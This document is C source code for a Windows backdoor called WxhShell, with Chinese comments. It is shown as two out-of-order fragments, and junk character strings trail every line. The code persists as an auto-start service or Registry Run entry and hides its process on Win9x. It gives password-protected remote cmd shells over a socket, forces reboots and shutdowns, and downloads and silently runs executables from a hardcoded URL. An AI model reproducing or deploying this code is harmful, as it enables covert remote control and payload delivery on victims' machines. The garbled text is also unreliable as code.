    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =r=YV-D.  
    else { ew# t4~hh  
    closesocket(wsh); Ap{p_~~iJ  
    ExitThread(0); V(|@6ww  
    } %o4ZD7@ '  
    break; gUs.D_*  
    } xn'&TQo0  
  // 获取shell -rSp gk0wL  
  case 's': { ]kQ*t{\  
    CmdShell(wsh); JgJ4RmH-  
    closesocket(wsh); "/e:V-W   
    ExitThread(0); TzT(aWP"  
    break; B 3Y,|*  
  } KErQCBeJ  
  // 退出 *"\QR>n   
  case 'x': { )_eEM1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); owDp?Sy}E  
    CloseIt(wsh); 3xSt -MA  
    break; AM4lAq_  
    } LD]a!eY  
  // 离开 t'e1r&^:r~  
  case 'q': { %l4LX~-:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'O%itCy)  
    closesocket(wsh); +ML4.$lc^  
    WSACleanup(); )N4!zuSVf  
    exit(1); ,%>]  
    break; WC6yQSnY&  
        } tI42]:z  
  } s&UuB1   
  } x3j)'`=15  
^O#>LbM"x  
  // 提示信息 } + ]A?'&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xeo5)  
} }H^h ~E  
  } 3q'["SS  
-MEp0  
  return; Nm;yL  
} 00jWs@K  
?VUU[h8"v5  
// shell模块句柄 "DN0|%`M/  
int CmdShell(SOCKET sock) N|JM L  
{ -;NGS )RM  
STARTUPINFO si; Q=YIAGK  
ZeroMemory(&si,sizeof(si)); 2/XrorV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BK$cN>J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " pg5w  
PROCESS_INFORMATION ProcessInfo; ``X1xiB  
char cmdline[]="cmd"; 3jSt&+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WC& V9Yk  
  return 0; 8 5 L<  
} <}uhKp>*  
l k~VvRq  
// 自身启动模式 |7Dc7p"D  
int StartFromService(void) dC'8orFG+  
{ f.yvKi.Cm  
typedef struct 77 g<`}{  
{ wh Hp}r  
  DWORD ExitStatus; KgD sqwy  
  DWORD PebBaseAddress; >X@4wP 7l  
  DWORD AffinityMask; g=#Cc( q  
  DWORD BasePriority; a/wg%cWG_  
  ULONG UniqueProcessId; V ,+&.A23  
  ULONG InheritedFromUniqueProcessId; (YV]T!q  
}   PROCESS_BASIC_INFORMATION; u~O9"-m !V  
dDu8n+(8 L  
PROCNTQSIP NtQueryInformationProcess; 8SZZ_tS3r  
6o:b(v&Oo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;*c8,I;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]EN+^i1F[  
vRhI:E)So#  
  HANDLE             hProcess; } yb"/jp  
  PROCESS_BASIC_INFORMATION pbi; V7 OhOLK8  
 .u3;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dz6&TdEl  
  if(NULL == hInst ) return 0; 1La?x'{2MP  
w,T-vf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T^ )\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZGw 6Bd_I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C6JwJYa  
M!`&Z9N  
  if (!NtQueryInformationProcess) return 0; >qy$W4  
@?n~v^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x'v-]C(@  
  if(!hProcess) return 0; xeB-fy)5+  
lyS`X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jX7;hQ+P  
79z/(T +  
  CloseHandle(hProcess); 6Z@?W  
no$X0ia  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XI '.L ~  
if(hProcess==NULL) return 0; /g>]J70  
>:bXw#w]  
HMODULE hMod; (j(hr'f  
char procName[255]; oe*fgk/o9  
unsigned long cbNeeded; *x/H   
cK-jN9U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /s~BE ,su  
ctoh&5%!n+  
  CloseHandle(hProcess); i'B$Xr  
nGM;|6x"8|  
if(strstr(procName,"services")) return 1; // 以服务启动 V)fF|E~0  
~bq w!rz  
  return 0; // 注册表启动 nKmf#  
} ^KJi |'B  
Y%!k'\n[2  
// 主模块 pwv mb\  
int StartWxhshell(LPSTR lpCmdLine) 0Q~\1D 9g  
{ #h#_xh'  
  SOCKET wsl; n0FzDQt26  
BOOL val=TRUE; O YfRtfE  
  int port=0; gL &)l!2Y  
  struct sockaddr_in door; . )E1|U[L  
?^ R"a##  
  if(wscfg.ws_autoins) Install(); *Oq& g\K)  
!TN)6e7`  
port=atoi(lpCmdLine); y\n#`*5k  
( m7qc  
if(port<=0) port=wscfg.ws_port; On(.(7sNc  
zCS&w ~  
  WSADATA data; Jv8VM\ *  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Ld[`d.|R!  
DB0?H+8t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g)}q3-<AK>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }&]T0U`@  
  door.sin_family = AF_INET; I0N~>SpZ5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); psuK\ s  
  door.sin_port = htons(port); K."W/A!  
!/]z-z2>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vcZ"4%w  
closesocket(wsl); I/zI\PP,  
return 1; Lie= DD  
} a :CeI  
d>0 j!+s  
  if(listen(wsl,2) == INVALID_SOCKET) { R8Dn GR  
closesocket(wsl); EL6<%~,V"I  
return 1; H|3CZ=U?  
} @vO~'Xxq!  
  Wxhshell(wsl); Bw.?Me)mf|  
  WSACleanup(); }vZTiuzC  
[7l5p(=  
return 0; >}r 1A  
{5SJ0'.B2g  
} }:\e "Bfv  
KcM+ 8W\  
// 以NT服务方式启动 9 1ec^g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C9j5Pd5q1L  
{ 9LUk[V  
DWORD   status = 0; ^oEaE#I  
  DWORD   specificError = 0xfffffff; b{,vZhP-  
[bEm D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2\#~%D>[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ):V)Hrq?x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hOe$h,E']  
  serviceStatus.dwWin32ExitCode     = 0; h[]3#  
  serviceStatus.dwServiceSpecificExitCode = 0; V_9> Z?  
  serviceStatus.dwCheckPoint       = 0; T_qh_L3  
  serviceStatus.dwWaitHint       = 0; C7!=LiK}  
u]<`y6=&C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !< ^`Sx/+  
  if (hServiceStatusHandle==0) return; '~76Y9mv  
.-: 6L2  
status = GetLastError(); =@k 3*#\  
  if (status!=NO_ERROR) Rp.FG   
{ BtP*R,>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; leEzfbb{'.  
    serviceStatus.dwCheckPoint       = 0; @"`{Sh`Y$  
    serviceStatus.dwWaitHint       = 0; (d-j/v*4  
    serviceStatus.dwWin32ExitCode     = status; W97 &[([  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~wd~57i@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7@i2Mz/eV  
    return; _ 3>|1RB  
  } 1;9  %L@  
g$S<_$Iey  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d?(eL(W  
  serviceStatus.dwCheckPoint       = 0; N+NS\Y5  
  serviceStatus.dwWaitHint       = 0; p%*! ]JRS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .e2 K\o  
} )IZ~!N|-w  
(`Q_^Bfyl  
// 处理NT服务事件,比如:启动、停止 pi?U|&.1z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VUGVIy.  
{ H>5@/0cL2  
switch(fdwControl) +Pm }_"GU  
{ Ic&Jhw;]z  
case SERVICE_CONTROL_STOP: dKTUW<C  
  serviceStatus.dwWin32ExitCode = 0; }!g^}BWWp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xo*[ g`N  
  serviceStatus.dwCheckPoint   = 0; Fh$Xcz~i  
  serviceStatus.dwWaitHint     = 0; @Y2&v956  
  { c6)q(zz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \muC_9ke  
  } zos#B30  
  return; % z:;t  
case SERVICE_CONTROL_PAUSE: .%EEly  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1(z+*`"WB&  
  break; g:nU&-x#R  
case SERVICE_CONTROL_CONTINUE: k"2xyzt*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SpUcrK;1  
  break; .4wp  
case SERVICE_CONTROL_INTERROGATE: P9D'L{yS/x  
  break; yjP;o`z%  
}; _*Z2</5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]%5DuE\M8\  
} i;$'haK<  
?pv}~>  
// 标准应用程序主函数 (_ElM>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cTeEND)  
{ Y@Kp'+t(!  
{<- BU[H  
// 获取操作系统版本 ]l'W=_XDg  
OsIsNt=GetOsVer(); \ oIVE+L/P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \i=,[8t[r  
YFCP'J"Z  
  // 从命令行安装 &@xixbg  
  if(strpbrk(lpCmdLine,"iI")) Install(); dZ7+Iw;m  
Osdw\NNH~M  
  // 下载执行文件 Kj_hCSvf3e  
if(wscfg.ws_downexe) { MD ,}-m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y$At$i>u  
  WinExec(wscfg.ws_filenam,SW_HIDE); \S@;>A<J  
} <"@~  
)-2o}KU]>  
if(!OsIsNt) { HhaUC?JtSK  
// 如果时win9x,隐藏进程并且设置为注册表启动 @l^=&53T  
HideProc(); vb}; _/ #?  
StartWxhshell(lpCmdLine); e1X*}OI  
} oO|zRK1;/  
else M ,8r{[2  
  if(StartFromService()) DLkNL?a  
  // 以服务方式启动 _Va!Ky =]  
  StartServiceCtrlDispatcher(DispatchTable); *Ri?mEv hF  
else 1@kPl[`p'  
  // 普通方式启动 OCF\*Sx  
  StartWxhshell(lpCmdLine); elZ?>5P$}  
F t%f"Z  
return 0; ZgLO[Bj  
} A}sb 2P  
J56+eC(  
Z xLjh  
A:1O:LB=!  
=========================================== W 0Q-&4  
tgDmHxB]0  
Mu18s}  
d+%1q  
O k_I}X  
:*e0Z2=  
" 86~HkHliv  
LQ?J r>4  
#include <stdio.h> 0yXUVKq3  
#include <string.h> (j+C&*u  
#include <windows.h> y>u+.z a|  
#include <winsock2.h> \0Zm3[  
#include <winsvc.h> (^Xp\dyZL  
#include <urlmon.h> Ywt_h;:  
J /'woc  
#pragma comment (lib, "Ws2_32.lib") l2=.;7 IV  
#pragma comment (lib, "urlmon.lib") ` &|Rs  
dx[<@f2c  
#define MAX_USER   100 // 最大客户端连接数 Y*3qH]  
#define BUF_SOCK   200 // sock buffer 1^R@X  
#define KEY_BUFF   255 // 输入 buffer R 3 Eh47  
9'Y~! vY  
#define REBOOT     0   // 重启 BXaA#} ;e  
#define SHUTDOWN   1   // 关机 U n2xZ[4  
/9|1eSUa  
#define DEF_PORT   5000 // 监听端口 1#Dpj.cO#  
FJv=5L  
#define REG_LEN     16   // 注册表键长度 9">}@1k  
#define SVC_LEN     80   // NT服务名长度 c}Y(Myd  
RP7e)?5$s  
// 从dll定义API 18Pc4~ >0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G[r_|-^S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WO)rJr!C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D<#+ R"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9<WMM)  
0(Z ER sP  
// wxhshell配置信息 9]VUQl9gh  
struct WSCFG { De4UGX  
  int ws_port;         // 监听端口 4/S 4bk*8  
  char ws_passstr[REG_LEN]; // 口令 [E2afC>zrl  
  int ws_autoins;       // 安装标记, 1=yes 0=no VCcLS3  
  char ws_regname[REG_LEN]; // 注册表键名 a =*(>=  
  char ws_svcname[REG_LEN]; // 服务名 fg%I?ou  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oU$Niw9f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IBf&'/ 8\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '[~NRKQJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6/wAvPB$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?2%d;tW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `&4L'1eF{  
/0d_{Y+9  
}; F5gL-\6  
?a7PxD.  
// default Wxhshell configuration |J'@-*5?[8  
struct WSCFG wscfg={DEF_PORT, ]=2Ba<)m  
    "xuhuanlingzhe", |zKe*H/  
    1, &kHp}\  
    "Wxhshell", E08FUAth]#  
    "Wxhshell", Ps+0qqT*  
            "WxhShell Service", I(#Y\>DG  
    "Wrsky Windows CmdShell Service", `Ff3H$_*  
    "Please Input Your Password: ", 7!#x-KR~5  
  1, G`8gI)$u  
  "http://www.wrsky.com/wxhshell.exe", JWr:/?  
  "Wxhshell.exe" 4v33{sp  
    }; &v Lz{  
VtUe$ft  
// 消息定义模块 ;RflzY|D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *$Z}v&-0k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xKWqDt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =zDU!< U  
char *msg_ws_ext="\n\rExit."; P_B#  
char *msg_ws_end="\n\rQuit."; sD7Qt  
char *msg_ws_boot="\n\rReboot..."; 4[ M!x  
char *msg_ws_poff="\n\rShutdown..."; B&Q\J>l9S  
char *msg_ws_down="\n\rSave to "; "yCCei,hA?  
^I~2t|}  
char *msg_ws_err="\n\rErr!"; "fdgBso  
char *msg_ws_ok="\n\rOK!"; x9Y1v1!5Pu  
(8TB*BhQ_  
char ExeFile[MAX_PATH]; 5DK>4H:  
int nUser = 0; 5B#q/d1/a  
HANDLE handles[MAX_USER]; yQ}$G ,x  
int OsIsNt; }=z_3JfO  
g34<0%6jd  
SERVICE_STATUS       serviceStatus; n.ZLR=P4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PUV)w\!&is  
"^F#oo%L  
// 函数声明 mcy\nAf5%  
int Install(void); K 4QJDC8  
int Uninstall(void); .+MJ' bW  
int DownloadFile(char *sURL, SOCKET wsh); -=iGl5P?  
int Boot(int flag); CnSfGsE>  
void HideProc(void); j5,1`7\7B  
int GetOsVer(void); DZ92;m  
int Wxhshell(SOCKET wsl); }l~|c{WH`  
void TalkWithClient(void *cs); G# gUd'=M  
int CmdShell(SOCKET sock); +~?ze,Di  
int StartFromService(void); b6:A-jb*I  
int StartWxhshell(LPSTR lpCmdLine); !O6e,l  
{e\Pd!D?|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qz\yoI8JA,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); . <`i!Ls  
+%Q:  
// 数据结构和表定义 ,yus44w[  
SERVICE_TABLE_ENTRY DispatchTable[] = T]-yTsto  
{ T]Z|Wq`bot  
{wscfg.ws_svcname, NTServiceMain}, )b`Xc+{>  
{NULL, NULL} W^npzgDCo  
}; (|)`~z  
Oo |*q+{  
// 自我安装 7[h_"@_A7  
int Install(void) x;)bp7  
{ 1^XuH('  
  char svExeFile[MAX_PATH]; gNF8&T  
  HKEY key; %a=K:" oU[  
  strcpy(svExeFile,ExeFile); rqW[B/a{  
=+5z;3  
// 如果是win9x系统,修改注册表设为自启动 ~\kJir  
if(!OsIsNt) { (XA=d 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Tc3koi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A<P3X/i  
  RegCloseKey(key); U/F<r3.`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 28FC@&'H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =sy>_   
  RegCloseKey(key); #[0:5$-[  
  return 0; b ?9c\-}  
    } QR4rQu  
  } rE0?R( _  
} ^,u0kMG5l  
else { n@n608  
\Zc$X^}vN  
// 如果是NT以上系统,安装为系统服务 KilgeN:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w}+#w8hu  
if (schSCManager!=0) %x@ D i`;  
{ j_N><_Jc  
  SC_HANDLE schService = CreateService \{r-e  
  ( r@N 0%JZZ  
  schSCManager, _svEPHU  
  wscfg.ws_svcname, $jT&]p  
  wscfg.ws_svcdisp, Y<|!)JLB2  
  SERVICE_ALL_ACCESS, uD4=1g6[s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Oop5bg  
  SERVICE_AUTO_START, 3jF#f'*  
  SERVICE_ERROR_NORMAL, lyGQ6zlSn  
  svExeFile, _y#omEx  
  NULL, ZeewGa^r  
  NULL, ~RcI+jR)  
  NULL, HScj  
  NULL, .5Y%I;~v  
  NULL 7sP;+G  
  ); mF!/8qk   
  if (schService!=0) we'<Y  
  { +mRFHZG  
  CloseServiceHandle(schService); vZV+24YWb  
  CloseServiceHandle(schSCManager); C${{&$&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <viIpz2jh%  
  strcat(svExeFile,wscfg.ws_svcname); !0ly1T 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .K?',x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0kN;SSX!  
  RegCloseKey(key); O%)@> 5#S  
  return 0; kPwgayz  
    } kp3(/`xP  
  } '\%c"?  
  CloseServiceHandle(schSCManager); ^NJ]~h{n$  
} d,=Kv  
} ?DcRD)X  
lB!`,>"c  
return 1; "zW3d KVc  
} 9k\`3SE  
b *IJ +  
// 自我卸载 =a rk?<E  
int Uninstall(void) {zoUU  
{ }Ictnb  
  HKEY key; AH`n  
u#5/s8  
if(!OsIsNt) { %bf+Y7m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f.V;Hl,  
  RegDeleteValue(key,wscfg.ws_regname); a]:tn:q  
  RegCloseKey(key); & pwSd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8f>=.O*)  
  RegDeleteValue(key,wscfg.ws_regname); }*Qd]\fy  
  RegCloseKey(key); 4GJ1P2  
  return 0; T!$7:% D  
  } '^'4C'J  
} 3oX%tx  
} fs4pAB#F  
else { 3nuf3)  
k5G(7Ug=g~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #QJ  mAA  
if (schSCManager!=0) J5LP#o(V  
{ H3{x; {.b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pM~Xh ]/  
  if (schService!=0) Myss$gt}  
  { 1"46O Cu{  
  if(DeleteService(schService)!=0) { zi:F/TlUC  
  CloseServiceHandle(schService); \3K6NA!L  
  CloseServiceHandle(schSCManager); m%V+px  
  return 0; >(z{1'f{  
  } oTZ?x}Z1  
  CloseServiceHandle(schService); Okk[}G)  
  } 9[DQ[bL  
  CloseServiceHandle(schSCManager); %sC,;^wla'  
} mOwgk7s[ J  
} a:@9GmtV&  
@_YEK3l]l  
return 1; R#~}ZUk2  
} !s,<h U#  
:b>Z|7g?  
// 从指定url下载文件 7UHqiA`L  
int DownloadFile(char *sURL, SOCKET wsh) IyG5Rj2  
{ !mBsDn(J  
  HRESULT hr; FcIH<_r  
char seps[]= "/"; h7Jo _L7  
char *token; o!mf d}nG  
char *file; !boKrSw  
char myURL[MAX_PATH]; d_J?i]AP|'  
char myFILE[MAX_PATH]; q" wi.&|  
f[7'kv5S  
strcpy(myURL,sURL); |PH]0.m5  
  token=strtok(myURL,seps); {+c/$4 <  
  while(token!=NULL) !N$4.slr<p  
  { +Smv<^bW  
    file=token; a2/r$Tgm  
  token=strtok(NULL,seps); ~ p; <H  
  } 7~\Dzcfk"P  
JmNeqpbB`w  
GetCurrentDirectory(MAX_PATH,myFILE); $ajw]2kx  
strcat(myFILE, "\\"); Qm`f5-d  
strcat(myFILE, file); `m<="No  
  send(wsh,myFILE,strlen(myFILE),0); Oi BK  
send(wsh,"...",3,0); gZM{]GQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?d+B]VYw  
  if(hr==S_OK) gbpm::  
return 0; fH`1dU  
else u MzefRN  
return 1; Ccz:NpK+  
344,mnAd  
} 0IDHoNaT<  
^e@c Ozt  
// 系统电源模块 H'gPGOd  
int Boot(int flag) jLr8?Hyf  
{ >qtB27jV  
  HANDLE hToken; $L</{bXW  
  TOKEN_PRIVILEGES tkp; fS#/-wugOB  
w2{k0MW  
  if(OsIsNt) { pvmm" f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ac+7D:X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !YJdi~q  
    tkp.PrivilegeCount = 1; e}[$ =  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YY7:WQS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s #L1:L  
if(flag==REBOOT) { d0-}Xl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :Hd?0eZ|  
  return 0; ?\vJ8H[bD  
} 2#+@bk>^{  
else {  )_j.0a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fiw~"2U  
  return 0; .\U+`>4av  
} 4D58cR}  
  } a*SJHBB  
  else { L7D'wf  
if(flag==REBOOT) { T$}<So|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yvH:U5%  
  return 0; 0eQ5LG?)  
} /_}v|E0  
else { ;7m>40W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y~- ?   
  return 0; !5A nr  
} %{}Jr`  
} R4IFl z  
 =_ rn8  
return 1; J puW !I  
} c&0IJ7fZG  
l>=c]  
// win9x进程隐藏模块 9l,Gd  
void HideProc(void) 8|d[45*q  
{ hlUF9}  
#Jm_~k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >Mvt;'c  
  if ( hKernel != NULL ) |_w*:NCV5  
  { .IKK.G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8AefgjE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !o.g2  
    FreeLibrary(hKernel); {Ua5bSbh  
  } x(t} H8q  
zM@iG]?kc  
return; !4 hs9b  
} ,$}Q#q  
RuXK` y Sv  
// 获取操作系统版本 (> 8fcQUBb  
int GetOsVer(void) +m+HC(Z  
{ H/L3w|2+  
  OSVERSIONINFO winfo; <=7p~ i5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r} ,|kb  
  GetVersionEx(&winfo); .4^Paxz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SU#|&_wtr!  
  return 1; :ZzG5[o3  
  else >yWJk9h f  
  return 0; f a\cLC  
} Zv-6H*zM6  
K GI]W|T  
// 客户端句柄模块 qb9%Y/xy  
int Wxhshell(SOCKET wsl) 6Edqg   
{ kh5V&%>?  
  SOCKET wsh; my} P\r.  
  struct sockaddr_in client; 4({=(O  
  DWORD myID; +Rh'VZJs  
3{c&%F~!  
  while(nUser<MAX_USER) H{}6`;W  
{ A%2!Hr  
  int nSize=sizeof(client); *1%g=vb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I3L1|!  
  if(wsh==INVALID_SOCKET) return 1; 7dakj>JM  
L*l( ~t)vF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y%GV9  
if(handles[nUser]==0) y>#j4%D~4  
  closesocket(wsh); ;zOZu~Q|'  
else JBYQ7SsAS0  
  nUser++; h!Q >h7  
  } _9-Ajv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P*LcWrK  
<AIsNqr  
  return 0; [L\w] 6  
} 7]^Cg;EtM:  
Oh^X^*I$@  
// 关闭 socket %z2nas$$g  
void CloseIt(SOCKET wsh) t"L:3<U7  
{ Rsulp#['  
closesocket(wsh); }E=kfMu  
nUser--; t.zSJ|T_&O  
ExitThread(0); f"tO*/|`  
} s,}<5N]U  
{NFeX'5bP  
// 客户端请求句柄 #[si.rv->  
void TalkWithClient(void *cs) U!'lc} 5  
{ 7q?Yd AUz  
m<yA] ';s  
  SOCKET wsh=(SOCKET)cs; mSzwx/3"  
  char pwd[SVC_LEN]; yO6i "3  
  char cmd[KEY_BUFF]; OBZ|W**N"  
char chr[1]; <Kh\i'8  
int i,j; _c&*'IY[V  
T'V(%\w  
  while (nUser < MAX_USER) { Y}Dp{  
J!H5{7.efN  
if(wscfg.ws_passstr) { {)[i\=,`{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lfA  BF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q! ,do2T  
  //ZeroMemory(pwd,KEY_BUFF); -r2cK{Hhp&  
      i=0; {, |"Rpd  
  while(i<SVC_LEN) { ~L1O\V i  
w0IB8GdF  
  // 设置超时 {$t*Mb0  
  fd_set FdRead; zbR.Lb  
  struct timeval TimeOut; yI%> w4Z  
  FD_ZERO(&FdRead); Gh pd k;  
  FD_SET(wsh,&FdRead); sHuz10  
  TimeOut.tv_sec=8; RmQt%a7\{  
  TimeOut.tv_usec=0; L7g&]%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Otc$hj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lwcw%M]  
aC},h   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pd1m/:  
  pwd=chr[0]; c-T ^ aR  
  if(chr[0]==0xd || chr[0]==0xa) { #R8l"]fxr?  
  pwd=0; >2:Sv1T  
  break; ]aRD6F:L  
  } M;Rw]M  
  i++; 8_m9CQ6 i  
    } ZX;k*OrW  
,OCTm%6e  
  // 如果是非法用户,关闭 socket I3Lsj}69  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w3N%J>4_E  
} rsv!mY,Em  
@qDrTH]5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }Yl=lc vw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cQ41NX@I  
aTm.10{^  
while(1) { }# x3IE6'  
N)*e^Nfb  
  ZeroMemory(cmd,KEY_BUFF); uq%3;#[0  
)T5h\ZO`;  
      // 自动支持客户端 telnet标准   7 !.8#A':  
  j=0; A4FDR#  
  while(j<KEY_BUFF) { }hitU(5t0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j~H`*R=ld#  
  cmd[j]=chr[0]; !O6Is'%B  
  if(chr[0]==0xa || chr[0]==0xd) { ('-}"3  
  cmd[j]=0; b DS1'Ce  
  break; i{ @'\}{L  
  } _0q~s@-  
  j++; (I ds<n"  
    } ,M&0<k\  
}l?_Cfvu  
  // 下载文件 w a<C*o  
  if(strstr(cmd,"http://")) { Yb3f]4EH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K('l H-3wS  
  if(DownloadFile(cmd,wsh)) nvK7*-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); So *Wk "  
  else -,A5^>}%,Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ru^ ONw"  
  } FgQ_a/*  
  else { hAr[atu87  
.hlQ?\  
